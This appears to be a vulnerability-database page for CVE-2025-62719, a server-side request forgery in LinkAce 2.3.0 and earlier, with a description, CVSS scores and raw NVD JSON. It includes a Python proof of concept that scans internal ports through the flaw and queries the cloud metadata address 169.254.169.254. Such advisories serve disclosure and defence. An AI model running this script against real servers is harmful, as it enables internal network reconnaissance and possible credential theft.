Security Vulnerability Report
中文
CVE-2025-62719 CVSS 4.3 MEDIUM

CVE-2025-62719

Published: 2025-11-04 22:16:39
Last Modified: 2025-11-10 19:57:35

Description

LinkAce is a self-hosted archive to collect website links. In versions 2.3.0 and below, the htmlKeywordsFromUrl function in the FetchController class accepts user-provided URLs and makes HTTP requests to them without validating that the destination is not an internal or private network resource. This Server-Side Request Forgery (SSRF) vulnerability allows authenticated attackers to use the application server to perform port scanning and service discovery on internal networks. Practical impact is very limited because the function only extracts content from HTML meta keywords tags, which prevents meaningful data exfiltration from databases, APIs, or cloud metadata endpoints. This issue is fixed in version 2.4.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:* - VULNERABLE
LinkAce < 2.4.0
LinkAce <= 2.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-62719 PoC - LinkAce SSRF in htmlKeywordsFromUrl # Target: LinkAce <= 2.3.0 BASE_URL = "http://target-linkace.com" def ssrf_exploit(target_ip="127.0.0.1", target_port=80): """ Exploit SSRF vulnerability to perform internal network scanning. The attacker must be authenticated first. """ login_url = f"{BASE_URL}/login" exploit_url = f"{BASE_URL}/link/fetch" # Step 1: Authenticate with valid credentials session = requests.Session() login_data = { "email": "[email protected]", "password": "attacker_password" } session.post(login_url, data=login_data) # Step 2: Send SSRF payload targeting internal network # This triggers htmlKeywordsFromUrl to fetch internal resource ssrf_payload = { "url": f"http://{target_ip}:{target_port}" } response = session.post(exploit_url, data=ssrf_payload) # Step 3: Analyze response to determine if service is alive if response.status_code == 200: print(f"[+] Service detected at {target_ip}:{target_port}") else: print(f"[-] No service at {target_ip}:{target_port}") def cloud_metadata_exploit(): """ Attempt to access cloud metadata endpoint (limited by meta keywords extraction). """ session = requests.Session() # Login first... metadata_urls = [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/user-data/" ] for url in metadata_urls: payload = {"url": url} response = session.post(f"{BASE_URL}/link/fetch", data=payload) print(f"[*] Response from {url}: {response.text[:200]}") if __name__ == "__main__": # Example: Scan localhost ports for port in [22, 80, 443, 3306, 6379]: ssrf_exploit("127.0.0.1", port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62719", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:38.787", "lastModified": "2025-11-10T19:57:35.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LinkAce is a self-hosted archive to collect website links. In versions 2.3.0 and below, the htmlKeywordsFromUrl function in the FetchController class accepts user-provided URLs and makes HTTP requests to them without validating that the destination is not an internal or private network resource. This Server-Side Request Forgery (SSRF) vulnerability allows authenticated attackers to use the application server to perform port scanning and service discovery on internal networks. Practical impact is very limited because the function only extracts content from HTML meta keywords tags, which prevents meaningful data exfiltration from databases, APIs, or cloud metadata endpoints. This issue is fixed in version 2.4.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.0", "matchCriteriaId": "68ED0A13-FFAB-4927-A526-E51A4CA1B2BC"}]}]}], "references": [{"url": "http://github.com/Kovah/LinkAce/releases/tag/v2.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Kovah/LinkAce/commit/4e0b822163ccefc2640c283ae969a39e673a0619", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-473x-rmm6-mc8c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-473x-rmm6-mc8c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}